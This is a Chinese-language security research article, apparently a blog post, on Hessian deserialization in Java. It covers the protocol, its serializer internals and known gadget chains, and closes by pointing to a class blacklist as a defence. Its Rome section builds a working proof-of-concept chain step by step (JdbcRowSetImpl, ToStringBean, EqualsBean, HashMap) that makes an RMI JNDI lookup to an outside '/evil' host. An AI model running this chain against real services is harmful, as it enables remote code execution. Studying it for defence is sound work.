Hessian反序列化漏洞研究

一、Hessian簡介

0x1:Hessian是什麼

Hessian 是 caucho 公司的工程項目,爲了達到或超過 ORMI/Java JNI 等其他跨語言/平臺調用的能力設計而出,在 2004 點發布 1.0 規範,一般稱之爲 Hessian ,並逐步迭代,在 Hassian jar 3.2.0 之後,採用了新的 2.0 版本的協議,一般稱之爲 Hessian 2.0。

這是一種動態類型的二進制序列化和 Web 服務協議,專爲面向對象的傳輸而設計。Hessian 協議在設計時,重點的幾個目標包括了:

  • 它必須自我描述序列化的類型,即不需要外部架構和接口定義
  • 它必須是語言語言獨立的,要支持包括腳本語言
  • 它必須是可讀可寫
  • 它要儘可能的簡潔
  • 它必須是簡單的,它可以有效地測試和實施
  • 儘可能的快
  • 必須要支持Unicode編碼
  • 它必須支持八位二進制文件,而不是逃避或者用附件
  • 它必須支持加密,壓縮,簽名,還有事務的上下文

對於這樣的設計,caucho 公司其實提供了兩種解決方案,一個是 Hession,一個是 Burlap。

  • Hession 是基於二進制的實現,傳輸數據更小更快
  • Burlap 的消息是 XML 的,有更好的可讀性。兩種數據都是基於 HTTP 協議傳輸

Hessian 本身作爲 Resin 的一部分,但是它的 com.caucho.hessian.client 和 com.caucho.hessian.server 包不依賴於任何其他的 Resin 類,因此它也可以使用任何容器如 Tomcat 中,也可以使用在 EJB 中。事實上很多通訊框架都使用或支持了這個規範來序列化及反序列化類。

作爲一個二進制的序列化協議,Hessian 自行定義了一套自己的儲存和還原數據的機制。對 8 種基礎數據類型、3 種遞歸類型、ref 引用以及 Hessian 2.0 中的內部引用映射進行了相關定義。這樣的設計使得 Hassian 可以進行跨語言跨平臺的調用。

0x2:Hessian語法

           # starting production
top        ::= value

           # 8-bit binary data split into 64k chunks
binary     ::= x41 b1 b0 <binary-data> binary # non-final chunk
           ::= 'B' b1 b0 <binary-data>        # final chunk
           ::= [x20-x2f] <binary-data>        # binary data of
                                                 #  length 0-15
           ::= [x34-x37] <binary-data>        # binary data of
                                                 #  length 0-1023

           # boolean true/false
boolean    ::= 'T'
           ::= 'F'

           # definition for an object (compact map)
class-def  ::= 'C' string int string*

           # time in UTC encoded as 64-bit long milliseconds since
           #  epoch
date       ::= x4a b7 b6 b5 b4 b3 b2 b1 b0
           ::= x4b b3 b2 b1 b0       # minutes since epoch

           # 64-bit IEEE double
double     ::= 'D' b7 b6 b5 b4 b3 b2 b1 b0
           ::= x5b                   # 0.0
           ::= x5c                   # 1.0
           ::= x5d b0                # byte cast to double
                                     #  (-128.0 to 127.0)
           ::= x5e b1 b0             # short cast to double
           ::= x5f b3 b2 b1 b0       # 32-bit float cast to double

           # 32-bit signed integer
int        ::= 'I' b3 b2 b1 b0
           ::= [x80-xbf]             # -x10 to x3f
           ::= [xc0-xcf] b0          # -x800 to x7ff
           ::= [xd0-xd7] b1 b0       # -x40000 to x3ffff

           # list/vector
list       ::= x55 type value* 'Z'   # variable-length list
       ::= 'V' type int value*   # fixed-length list
           ::= x57 value* 'Z'        # variable-length untyped list
           ::= x58 int value*        # fixed-length untyped list
       ::= [x70-77] type value*  # fixed-length typed list
       ::= [x78-7f] value*       # fixed-length untyped list

           # 64-bit signed long integer
long       ::= 'L' b7 b6 b5 b4 b3 b2 b1 b0
           ::= [xd8-xef]             # -x08 to x0f
           ::= [xf0-xff] b0          # -x800 to x7ff
           ::= [x38-x3f] b1 b0       # -x40000 to x3ffff
           ::= x59 b3 b2 b1 b0       # 32-bit integer cast to long

           # map/object
map        ::= 'M' type (value value)* 'Z'  # key, value map pairs
       ::= 'H' (value value)* 'Z'       # untyped key, value

           # null value
null       ::= 'N'

           # Object instance
object     ::= 'O' int value*
       ::= [x60-x6f] value*

           # value reference (e.g. circular trees and graphs)
ref        ::= x51 int            # reference to nth map/list/object

           # UTF-8 encoded character string split into 64k chunks
string     ::= x52 b1 b0 <utf8-data> string  # non-final chunk
           ::= 'S' b1 b0 <utf8-data>         # string of length
                                             #  0-65535
           ::= [x00-x1f] <utf8-data>         # string of length
                                             #  0-31
           ::= [x30-x34] <utf8-data>         # string of length
                                             #  0-1023

           # map/list types for OO languages
type       ::= string                        # type name
           ::= int                           # type reference

           # main production
value      ::= null
           ::= binary
           ::= boolean
           ::= class-def value
           ::= date
           ::= double
           ::= int
           ::= list
           ::= long
           ::= map
           ::= object
           ::= ref
           ::= string 

0x3:Hessian基本使用

創建Hessian服務包括四個步驟:

  1. 創建Java接口,用於提供公開服務
  2. 創建服務實現類
  3. 在servlet引擎中配置服務
  4. 使用HessianProxyFactory創建客戶端

因爲 Hessian 基於 HTTP 協議,所以通常通過 Web 應用來提供服務,以下爲幾種常見的模式。

1、基於 Servlet 項目

通過把提供服務的類註冊成 Servlet 的方式來作爲 Server 端進行交互。

創建一個普通的java項目,右鍵點擊項目,再點擊add framework support,勾選web Application(默認勾選上 create web.xml),點擊ok。 

poc.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Hessian_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>3.0.1</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet.jsp</groupId>
            <artifactId>jsp-api</artifactId>
            <version>2.1</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>3.1.5</version>
        </dependency>
    </dependencies>

</project> 

1)創建Java接口,用於提供公開服務

Greeting.java
package org.example;

import java.util.HashMap;

public interface Greeting {
    String sayHello(HashMap o);
}

2)創建服務實現類

服務端需要有一個該方法的具體實現,這裏通過使該類繼承自 com.caucho.hessian.server.HessianServlet 來將其標記爲一個提供服務的 Servlet :

Hello.java

package org.example;

import com.caucho.hessian.server.HessianServlet;

import java.util.HashMap;

public class Hello extends HessianServlet implements Greeting {

    @Override
    public String sayHello(HashMap o) {
        return "Hello " + o.toString();
    }
}

3)在servlet引擎中配置服務

在 web.xml 中配置 Servlet 的映射。

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>hessian</servlet-name>
        <servlet-class>org.example.Hello</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>hessian</servlet-name>
        <url-pattern>/hessian</url-pattern>
    </servlet-mapping>
</web-app>

4)使用HessianProxyFactory創建客戶端

Client 端通過 com.caucho.hessian.client.HessianProxyFactory 工廠類創建對接口的代理對象,並進行調用,可以看到調用後執行了服務端的邏輯並返回了代碼。

package org.example;

import com.caucho.hessian.client.HessianProxyFactory;

import java.net.MalformedURLException;
import java.util.HashMap;

public class Clients {
    public static void main(String[] args) throws MalformedURLException {
        String url = "http://localhost:8080/Hello/sayHello";

        HessianProxyFactory factory = new HessianProxyFactory();
        Greeting greeting = (Greeting) factory.create(Greeting.class, url);

        HashMap o = new HashMap<>();
        o.put("a", "a");

        System.out.println("Hessian Call: " + greeting.sayHello(o));
    }
}

2、自封裝調用

除了配合 web 項目使用外,也可以自行封裝自行調用,通過對 HessianInput/HessianOutput、Hessian2Input/Hessian2Output、BurlapInput/BurlapOutput 的相關方法的封裝,可以自行實現傳輸、存儲等邏輯,使用 Hessian 進行序列化和反序列化數據。

在使用Hessian序列化之前,需要在maven工程中,引入Hessian依賴:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Hessian_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>3.0.1</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet.jsp</groupId>
            <artifactId>jsp-api</artifactId>
            <version>2.1</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>3.1.5</version>
        </dependency>
    </dependencies>

</project>

無論jdk序列化,還是hessian序列化,實體類均需要實現Serializable接口,實現一個Student bean類,

package org.example;

import java.io.Serializable;

public class Student implements Serializable {
    /**
     *
     */
    private static final long serialVersionUID = 1L;
    private int id;
    private String name;
    private transient String gender;
    public int getId() {
        return id;
    }
    public void setId(int id) {
        this.id = id;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getGender() {
        return gender;
    }
    public void setGender(String gender) {
        this.gender = gender;
    }

    public Student() {}
    public Student(int id,String name,String gender){
        this.id = id;
        this.name = name;
        this.gender = gender;
    }

    @Override
    public String toString() {
        return "User(id="+id+",name="+name+",gender="+gender+")";
    }
}

測試類HessianSerialTest.java

package org.example;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

public class HessianSerialTest {
    public static <T> byte[] serialize(T t){
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(os);
            output.writeObject(t);
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static <T> byte[] serialize2(T t){
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            Hessian2Output output = new Hessian2Output(os);
            output.writeObject(t);
            output.getBytesOutputStream().flush();
            output.completeMessage();
            output.close();
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static <T> byte[] jdkSerialize(T t){
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            ObjectOutputStream output = new ObjectOutputStream(os);
            output.writeObject(t);
            output.flush();
            output.close();
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    @SuppressWarnings("unchecked")
    public static <T> T deserialize(byte[] data){
        if(data==null){
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            HessianInput input = new HessianInput(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T)result;
    }

    @SuppressWarnings("unchecked")
    public static <T> T deserialize2(byte[] data){
        if(data==null){
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            Hessian2Input input = new Hessian2Input(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T)result;
    }

    public static void main(String[] args) {
        Student stu = new Student(1,"hessian","boy");
        byte[] obj = serialize(stu);
        System.out.println("hessian serialize result length = "+obj.length);

        byte[] obj2 = serialize2(stu);
        System.out.println("hessian2 serialize result length = "+obj2.length);

        byte[] other = jdkSerialize(stu);
        System.out.println("jdk serialize result length = "+other.length);

        Student student = deserialize2(obj2);
        System.out.println("deserialize result entity is "+student);
    }

}

參考鏈接:

https://cloud.tencent.com/developer/article/2196910
https://blog.csdn.net/chinabestchina/article/details/78278162
https://www.cnblogs.com/LittleHann/p/17777980.html
https://www.yesdata.net/2018/03/11/hessian/
https://developer.aliyun.com/article/31862
https://www.cnblogs.com/linshuqin/p/10155005.html
https://blog.csdn.net/feinifi/article/details/95597290 

 

二、序列化與反序列化源碼分析

0x1:Hessian序列化

對於輸出流關鍵類爲 AbstractHessianOutput 的相關子類,這些類都提供了 call 等相關方法執行方法調用,writeXX 方法進行序列化數據的寫入,這裏以 HessianOutput 爲例。

除了基礎數據類型,主要關注的是對 Object 類型數據的寫入方法 writeObject:

這個方法根據指定的類型獲取序列化器 Serializer 的實現類,並調用其 writeObject 方法序列化數據。

在當前版本中,可看到一共有 29 個子類針對各種類型的數據。對於自定義類型,將會使用 JavaSerializer/UnsafeSerializer/JavaUnsharedSerializer 進行相關的序列化動作,默認情況下是 JavaSerializer。

0x2:Hessian反序列化

對於輸入流關鍵類爲 AbstractHessianInput 的子類,這些類中的 readObject 方法定義了反序列化的關鍵邏輯。

這是長達 200 行以上的 switch case 語句。在讀取標識位後根據不同的數據類型調用相關的處理邏輯。這裏以 Hessian2Input 爲例。 

與序列化過程設計類似,Hessian 定義了 Deserializer 接口,併爲不同的類型創建了不同的實現類。這裏重點看下對自定義類型對象的讀取。

在 Hessian 1.0 的 HessianInput 中,沒有針對 Object 的讀取,而是都將其作爲 Map 讀取,在序列化的過程中我們也提到,在寫入自定義類型時會將其標記爲 Map 類型。

在 Hessian 2.0 中,則是提供了 UnsafeDeserializer 來對自定義類型數據進行反序列化,關鍵方法在 readObject 處。

 

三、Hessian Serializable風險面

在 Java 原生反序列化中,實現了 java.io.Serializable 接口的類纔可以反序列化。Hessian 象徵性的支持了這種規範,具體的邏輯如下圖,在獲取默認序列化器時,判斷了類是否實現了 Serializable 接口。

但同時 Hessian 還提供了一個 _isAllowNonSerializable 變量用來打破這種規範,可以使用 SerializerFactory#setAllowNonSerializable 方法將其設置爲 true,從而使未實現 Serializable 接口的類也可以序列化和反序列化。 

這就導致了危險類序列化構造的風險,Hessian判斷一個類是否可以被序列化,是在序列化的過程中進行的,而非反序列化過程。換句話說,Hessian 實際支持反序列化任意類,無需實現 Serializable 接口

這裏在提一下 serialVersionUID 的問題,在 Java 原生反序列化中,在未指定 serialVersionUID 的情況下如果修改過類中的方法和屬性,將會導致反序列化過程中生成的 serialVersionUID 不一致導致的異常,但是 Hessian 並不關注這個字段,所以即使修改也無所謂。

然後是 transient 和 static 的問題,在序列化時,由 UnsafeSerializer#introspect 方法來獲取對象中的字段,在老版本中應該是 getFieldMap 方法。依舊是判斷了成員變量標識符,如果是 transient 和 static 字段則不會參與序列化反序列化流程。

可以看到, Hessian 協議使用 unsafe 創建類實例,使用反射寫入值,但是Hessian沒有在重寫了某些方法後對其進行調用這樣的邏輯。所以無論是構造方法、getter/setter 方法、readObject 等等方法都不會在 Hessian 反序列化中被觸發,那怎麼會產生漏洞呢?

答案就在 Hessian 對 Map 類型數據的處理上,在之前的分析中提到,MapDeserializer#readMap 對 Map 類型數據進行反序列化操作是會創建相應的 Map 對象,並將 Key 和 Value 分別反序列化後使用 put 方法寫入數據。在沒有指定 Map 的具體實現類時,將會默認使用 HashMap ,對於 SortedMap,將會使用 TreeMap。

而衆所周知, HashMap 在 put 鍵值對時,將會對 key 的 hashcode 進行校驗查看是否有重複的 key 出現,這就將會調用 key 的 hasCode 方法,如下圖。

而 TreeMap 在 put 時,由於要進行排序,所以要對 key 進行比較操作,將會調用 compare 方法,會調用 key 的 compareTo 方法。

也就是說 Hessian 相對比原生反序列化的利用鏈,有幾個限制:

  • gadget chain 起始方法只能爲 hashCode/equals/compareTo 方法
  • 利用鏈中調用的成員變量不能爲 transient 修飾
  • 所有的調用不依賴類中 readObject 的邏輯,也不依賴 getter/setter 的邏輯

這幾個限制也導致了很多 Java 原生反序列化利用鏈在 Hessian 中無法使用,甚至 ysoserial 中一些明明是 hashCode/equals/compareTo 觸發的鏈子都不能直接拿來用。

目前常見的 Hessian 利用鏈在 marshalsec 中共有如下五個:

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringAbstractBeanFactoryPointcutAdvisor

也就是抽象類 marshalsec.HessianBase 分別實現的 5 個接口。

觸發漏洞的觸發點對應在 HessianBase 的三個實現類:Hessian\Hessian2\Burlap。接下來我們依次看一下這些調用鏈。

0x1:Gadgets - Rome

新建一個maven項目,用於調試poc代碼。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Hessian_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.63</version>
        </dependency>
        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.7.0</version>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.24</version>
        </dependency>
    </dependencies>

</project>

整個攻擊過程由2個部分組成:

  • rome序列化/反序列化入口
  • Gadgets鏈

1、Gadgets鏈構造過程分析

Java中有很多JDk是具備很多“高危操作”的,但是這些“高危操作”就像武器,如果沒有使用它的人,武器本身是不存在危險的。而反序列化gadgets就是藉助Java中的多態、動態反射調用等特性,尋找一些特殊的類在反序列化過程中恰好能夠構成這些“高危操作”的調用鏈。

Rome 的鏈核心是 ToStringBean,這個類的 toString 方法會調用他封裝類的全部無參 getter 方法,所以可以藉助 JdbcRowSetImpl#getDatabaseMetaData() 方法觸發 JNDI 注入。

完整gadgets鏈如下:

HashMap.put -> hash
->
EqualsBean.hashCode -> beanHashCode
-> 
ToStringBean.toString -> getter.invoke
-> 
JdbcRowSetImpl.getDatabaseMetaData -> connect
->
JNDI 注入

我們接下來從JNDI注入,逆過來,逐步分析Rome gagets的構造過程以及利用原理。

1)JNDI注入

JNDI注入的原理非常簡單,本質就是代碼中調用了javax.naming.InitialContext.lookup("惡意類地址"),導致惡意類注入攻擊。關於更多詳情可以參閱這篇文章。 

2)通過JdbcRowSetImpl.getDatabaseMetaData -> connect 構造 javax.naming.InitialContext.lookup("惡意類地址") JNDI注入

先寫一個測試demo,

package org.example;

import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;

public class JdbcRowSetImpl_demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://5ecb4a9006.ipv6.1433.eu.org/evil");
        jdbcRowSet.getDatabaseMetaData();

    }
}

3)通過ToStringBean.toString -> getter.invoke 觸發 JdbcRowSetImpl.getDatabaseMetaData -> connect 調用

從源碼中可以看到toString()有參方法有個invoke可以實現任意函數調用,

所以,我們的目標就是想辦法直接通過 可控.invoke(可控,NO_PARAMS) 來達成RCE。

更具體地說就是,我們需要想辦法讓getter的name是getDatabaseMetaData,且this.obj是JdbcRowSetImpl。

繼續修改上一步的poc代碼,完善gadgets鏈,

package org.example;

import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;

public class JdbcRowSetImpl_demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://4c8ed43b84.ipv6.1433.eu.org/evil");
        // jdbcRowSet.getDatabaseMetaData();
        ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
        toStringbean.toString();

    }
}

4)通過 EqualsBean.hashCode -> beanHashCode 觸發 ToStringBean.toString 調用

package org.example;

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;

public class JdbcRowSetImpl_demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://4c8ed43b84.ipv6.1433.eu.org/evil");
        // jdbcRowSet.getDatabaseMetaData();
        ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
        // toStringbean.toString();
        EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
        equalsBean.hashCode();

    }
}

5)通過 HashMap.put -> hash 觸發  EqualsBean.hashCode 調用

package org.example;

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;
import java.util.HashMap;

public class JdbcRowSetImpl_demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://4c8ed43b84.ipv6.1433.eu.org/evil");
        // jdbcRowSet.getDatabaseMetaData();
        ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
        // toStringbean.toString();
        EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
        // equalsBean.hashCode();
        HashMap<Object,Object> map = new HashMap<>();
        map.put(equalsBean, "bbb");
        setValue(toStringbean, "obj", jdbcRowSet);

    }
}

至此,gadget已經構造完畢,接下來繼續構造序列化的觸發入口,序列化入口是rome庫的一個特性,它接受攻擊者構造的序列化對象,並在反序列化的過程中實際執行gadget,導致最終的rce

2、rome序列化/反序列化入口

package org.example;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class JdbcRowSetImpl_demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://4c8ed43b84.ipv6.1433.eu.org/evil");
        // jdbcRowSet.getDatabaseMetaData();
        ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
        // toStringbean.toString();
        EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
        // equalsBean.hashCode();
        HashMap<Object,Object> map = new HashMap<>();
        map.put(equalsBean, "bbb");
        setValue(toStringbean, "obj", jdbcRowSet);

        //序列化開始
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(map);   //對象寫在這
        output.close();
        //序列化結束

        //反序列化開始
        ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
        Hessian2Input input = new Hessian2Input(bis);
        input.readObject();
        //反序列化結束

    }
}

0x2:二次反序列化 

上面 Gadget 因爲是 JNDI 需要出網,所以通常被認爲限制很高,因此還需要找無需出網的利用方式。其中一個常見的方式是使用 java.security.SignedObject 進行二次反序列化。

這個類有個 getObject 方法會從流裏使用原生反序列化讀取數據,就造成了二次反序列化。

0x3:Resin gadgets

Resin 這條利用鏈的入口點實際上是 HashMap 對比兩個對象時觸發的 com.sun.org.apache.xpath.internal.objects.XString 的 equals 方法。

使用 XString 的 equals 方法觸發 com.caucho.naming.QName 的 toSting 方法。

0x4:XBean gadgets

XBean 這條鏈幾乎是與 Resin 一模一樣,只不過是在 XBean 中找到了類似功能的實現。

首先還是用 XString 觸發 ContextUtil.ReadOnlyBinding 的 toString 方法(實際繼承 javax.naming.Binding),toString 方法調用 getObject 方法獲取對象。

0x5:Spring AOP gadgets

這條利用鏈也很簡單,還是利用 HashMap 對比觸發 equals 方法,核心是 AbstractPointcutAdvisor 和其子類 AbstractBeanFactoryPointcutAdvisor。

觸發點在 AbstractPointcutAdvisor 的 equals 方法,對比兩個 AbstractPointcutAdvisor 是否相同,就是在對比其 Pointcut 切點和 Advice 是否爲同一個。

0x6:其他

在 ysoserial 中,除了 Rome,還有 URLDNS、Hibernate、Myfaces、Clojure、AspectJWeaver 等鏈的觸發點使用了 hashCode 方法,很多觸發都可以通過動態代理等方式串聯起來。

參考鏈接:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/ROME.java 
https://www.viewofthai.link/2022/04/20/gadgets-rome-%E6%89%8B%E5%86%99exp/
https://www.yulate.com/292.html
https://www.javasec.org/java-vuls/Hessian.html

 

四、漏洞檢測與防禦思路

0x1:反序列化對象類黑名單過濾

參考鏈接:

https://github.com/sofastack/sofa-hessian/blob/master/src/main/resources/security/serialize.blacklist

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章